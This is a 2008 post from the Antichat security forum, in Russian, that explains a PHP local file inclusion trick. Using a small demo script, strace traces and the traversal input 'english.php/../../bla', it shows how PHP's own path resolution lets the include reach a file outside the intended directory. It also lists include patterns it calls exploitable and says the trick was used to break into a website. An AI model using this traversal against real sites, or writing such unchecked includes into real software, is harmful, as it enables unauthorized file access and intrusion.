Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

10.01.2008, 04:50
|
|
Познающий
Регистрация: 22.08.2006
Сообщений: 47
Провел на форуме: 132884
Репутация:
47
|
|
Local include && PHP
/* Local include && PHP */
Итак, давайте немного заглянем, как это все работает в shell...
Создадим файл, в котором будет включаться языковой модуль.
Для демонстрации, поскольку вызывать файл мы будем не через web, включаемый параметр зададим аргументом командной строки.
foster@fiber php $ vi test.php
echo "test\n";
$lang = $argv[1];
include ('lang/'.$lang.'.php');
?>
~
~
~
~
~
-- INSERT --
теперь создадим файл языкового модуля, который будет демонстрировать включение файла:
foster@fiber php $ mkdir lang
foster@fiber php $ echo "included">lang/english.php
тестируем:
foster@fiber php $ /opt/php4/bin/php test.php english
Content-type: text/html
test
included
Теперь попробуем сделать обход каталога как в windows:
foster@fiber php $ echo 'included again' >bla.php
foster@fiber php $ /opt/php4/bin/php test.php english.php/../../bla
Content-type: text/html
test
А хер! Это и логично, поскольку, в системе такие шутки не прокатывают. Любая системная команда с подобным "обходом" каталога наткнется на ошибку системы:
foster@fiber php $ ls -l lang
total 4
-rw-r--r-- 1 foster foster 9 Jan 3 16:41 english.php
foster@fiber php $ ls -l lang/english.php
-rw-r--r-- 1 foster foster 9 Jan 3 16:41 lang/english.php
foster@fiber php $ ls -l lang/english.php/../../
ls: lang/english.php/../../: Not a directory
foster@fiber php $ ls -l lang/english.php/../
ls: lang/english.php/../: Not a directory
Посмотрим, что происходит с выполнением php скрипта при правильном инклуде:
foster@fiber php $ strace /opt/php4/bin/php test.php english
foster@fiber php $ strace /opt/php4/bin/php test.php english|less
[пропускаем мусор]
read(3, "<?\necho \"test\\n\";\n$lang = $argv["..., 4096) = 71
_llseek(3, 0, [0], SEEK_SET) = 0
getcwd("/home/foster/php", 4096) = 17
lstat64("/home/foster/php/test.php", {st_mode=S_IFREG|0644, st_size=71, ...}) = 0
setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={30, 0}}, NULL) = 0
rt_sigaction(SIGPROF, {0x8127740, [PROF], SA_RESTORER|SA_RESTART, 0x44d838e8}, {0x8127740, [PROF], SA_RESTORER|SA_RESTART, 0x44d838e8}, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [PROF], NULL, 8) = 0
read(3, "<?\necho \"test\\n\";\n$lang = $argv["..., 8192) = 71
read(3, "", 4096) = 0
read(3, "", 8192) = 0
close(3) = 0
munmap(0xb7f61000, 4096) = 0
write(1, "Content-type: text/html", 23Content-type: text/html) = 23
write(1, "\r\n", 2
) = 2
write(1, "\r\n", 2
) = 2
write(1, "test\n", 5test
) = 5
stat64("./lang/english.php", {st_mode=S_IFREG|0644, st_size=9, ...}) = 0
getcwd("/home/foster/php", 4096) = 17
lstat64("/home", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
lstat64("/home/foster/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster/php/lang", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster/php/lang/english.php", {st_mode=S_IFREG|0644, st_size=9, ...}) = 0
open("/home/foster/php/lang/english.php", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=9, ...}) = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=9, ...}) = 0
lseek(3, 0, SEEK_CUR) = 0
lseek(3, 0, SEEK_SET) = 0
read(3, "included\n", 8192) = 9
read(3, "", 8192) = 0
close(3) = 0
write(1, "included\n", 9included
) = 9
setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={0, 0}}, NULL) = 0
exit_group(0) = ?
Process 10145 detached
А теперь посмотрим на неправильный инклуд:
foster@fiber php $ strace /opt/php4/bin/php test.php english.php/../../bla|less
read(3, "", 4096) = 0
read(3, "", 8192) = 0
close(3) = 0
munmap(0xb7fb5000, 4096) = 0
write(1, "Content-type: text/html", 23) = 23
write(1, "\r\n", 2) = 2
Content-type: text/html
write(1, "\r\n", 2) = 2
write(1, "test\n", 5) = 5
test
stat64("./lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOTDIR (Not a directory)
stat64("/opt/php4/lib/php/lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOENT (No such file or directory)
stat64("/home/foster/php/lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOTDIR (Not a directory)
open("error_log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=860, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb5000
fstat64(3, {st_mode=S_IFREG|0644, st_size=860, ...}) = 0
_llseek(3, 860, [860], SEEK_SET) = 0
time([1199368133]) = 1199368133
stat64("/etc/localtime", {st_mode=S_IFREG|0644, st_size=815, ...}) = 0
write(3, "[03-Jan-2008 16:48:53] PHP Warni"..., 197) = 197
close(3) = 0
munmap(0xb7fb5000, 4096) = 0
open("error_log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=1057, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb5000
fstat64(3, {st_mode=S_IFREG|0644, st_size=1057, ...}) = 0
_llseek(3, 1057, [1057], SEEK_SET) = 0
time([1199368133]) = 1199368133
stat64("/etc/localtime", {st_mode=S_IFREG|0644, st_size=815, ...}) = 0
write(3, "[03-Jan-2008 16:48:53] PHP Warni"..., 233) = 233
close(3) = 0
munmap(0xb7fb5000, 4096) = 0
setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={0, 0}}, NULL) = 0
exit_group(0) = ?
Process 10063 detached
Ключевые строки:
stat64("./lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOTDIR (Not a directory)
stat64("/opt/php4/lib/php/lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOENT (No such file or directory)
stat64("/home/foster/php/lang/english.php/../../bla.php", 0xbfcc65cc) = -1 ENOTDIR (Not a directory)
Казалось бы, все как и нужно. Но давайте сделаем небольшую правку в нашем скрипте и позволим не системе, а самому интерпретатору PHP определить путь к включаемому файлу:
echo "test\n";
$lang = $argv[1];
include (dirname(__FILE__).'/lang/'.$lang.'.php');
?>
foster@fiber php $ strace /opt/php4/bin/php test.php english.php/../../bla
для нас интересны строки вот отсюда:
getcwd("/home/foster/php", 4096) = 17
lstat64("/home", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
lstat64("/home/foster/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster/php/lang", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/home/foster/php/lang/english.php", {st_mode=S_IFREG|0644, st_size=9, ...}) = 0
lstat64("/home/foster/php/bla.php", {st_mode=S_IFREG|0644, st_size=15, ...}) = 0
open("/home/foster/php/bla.php", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=15, ...}) = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=15, ...}) = 0
lseek(3, 0, SEEK_CUR) = 0
lseek(3, 0, SEEK_SET) = 0
read(3, "included again\n", 8192) = 15
read(3, "", 8192) = 0
close(3) = 0
write(1, "included again\n", 15) = 15
PHP обманывает себя и наш инклуд проходит с обходом "каталога" =)
Проверяем:
foster@fiber php $ /opt/php4/bin/php test.php english.php/../../bla
Content-type: text/html
test
included again
В свое время эта особенность PHP была использована для получения доступа к нашумевшему ресурсу "Киберджихад" 
P.S. аналогичным образом будет работать обход, если вместо dirname(__FILE__) поставить ./ или еще что-то подобное
P.P.S. актуальные варианты "рабочих" скриптв:
include(dirname(__FILE__).'/include/init.'.$ext);
include(dirname(__FILE__).'/language/lang-.'.$lang.'.php);
Автор: RST/GHC 
Последний раз редактировалось baz1k; 10.01.2008 в 05:03..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|